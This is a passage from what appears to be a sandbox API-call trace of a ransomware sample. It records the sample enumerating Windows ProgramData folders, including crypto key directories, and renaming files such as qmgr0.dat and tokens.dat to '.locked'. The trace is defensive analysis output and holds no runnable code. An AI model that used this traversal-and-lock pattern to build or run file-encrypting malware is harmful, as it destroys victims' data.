out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.915] GetFileType (hFile=0xc8) returned 0x1 [0126.916] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.917] GetFileType (hFile=0xc8) returned 0x1 [0126.918] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.918] GetFileType (hFile=0xc4) returned 0x1 [0126.919] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea153e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea153e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.926] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xeea3b540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea3b540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.926] GetFileType (hFile=0x120) returned 0x1 [0126.927] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea3b540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea3b540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.930] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea3b540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea3b540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.933] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea3b540, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea3b540, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.937] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea616a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea616a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.940] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea616a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea616a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.944] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea616a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea616a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.944] GetFileType (hFile=0xd4) returned 0x1 [0126.945] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeea616a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea616a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.949] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea616a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea616a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.950] GetFileType (hFile=0xd4) returned 0x1 [0126.951] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xeea616a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea616a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0126.953] GetFileType (hFile=0x120) returned 0x1 [0126.954] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.955] GetFileType (hFile=0x120) returned 0x1 [0126.956] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.956] GetFileType (hFile=0xc8) returned 0x1 [0126.957] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.958] GetFileType (hFile=0x120) returned 0x1 [0126.959] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.959] GetFileType (hFile=0xc8) returned 0x1 [0126.960] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.962] GetFileType (hFile=0x120) returned 0x1 [0126.962] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.963] GetFileType (hFile=0xc8) returned 0x1 [0126.964] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.965] GetFileType (hFile=0xc4) returned 0x1 [0126.966] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xeea87800, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeea87800, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0126.969] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.969] GetFileType (hFile=0x120) returned 0x1 [0126.970] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Media Player\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.971] GetFileType (hFile=0x120) returned 0x1 [0126.972] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.973] GetFileType (hFile=0x120) returned 0x1 [0126.973] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.974] GetFileType (hFile=0xc8) returned 0x1 [0126.975] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.977] GetFileType (hFile=0x120) returned 0x1 [0126.978] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.979] GetFileType (hFile=0xc8) returned 0x1 [0126.980] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.981] GetFileType (hFile=0x120) returned 0x1 [0126.982] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeeaad960, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeeaad960, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0126.983] GetFileType (hFile=0xc8) returned 0x1 [0126.985] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeead3ac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeead3ac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0126.985] GetFileType (hFile=0xc8) returned 0x1 [0126.986] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xeead3ac0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeead3ac0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0127.496] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr0.dat.locked" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr0.dat.locked"), dwFlags=0x2) returned 1 [0128.119] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr1.dat.locked" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr1.dat.locked"), dwFlags=0x2) returned 1 [0128.124] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef5aff20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xef5aff20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0128.125] GetFileType (hFile=0xc8) returned 0x1 [0128.126] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef5aff20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xef5aff20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0128.129] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef5aff20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xef5aff20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0128.132] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\3082\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef5aff20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xef5aff20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0128.134] GetFileType (hFile=0x120) returned 0x1 [0128.135] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xef5aff20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xef5aff20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825810 [0128.135] GetFileType (hFile=0xc8) returned 0x1 [0128.137] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xef5aff20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xef5aff20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8040b8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x825890 [0128.448] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.locked" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.locked"), dwFlags=0x2) returned 1 [0129.086] MoveFileExW (lpExistingFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.locked" (normalized: "c:\\programdata\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.locked"), dwFlags=0x2) returned 1 [0129.096] FindFirstFileA (in: lpFileName="C:\\\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefee9460, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xefee9460, ftLastWriteTime.dwHighDateTime=0x1d55451, 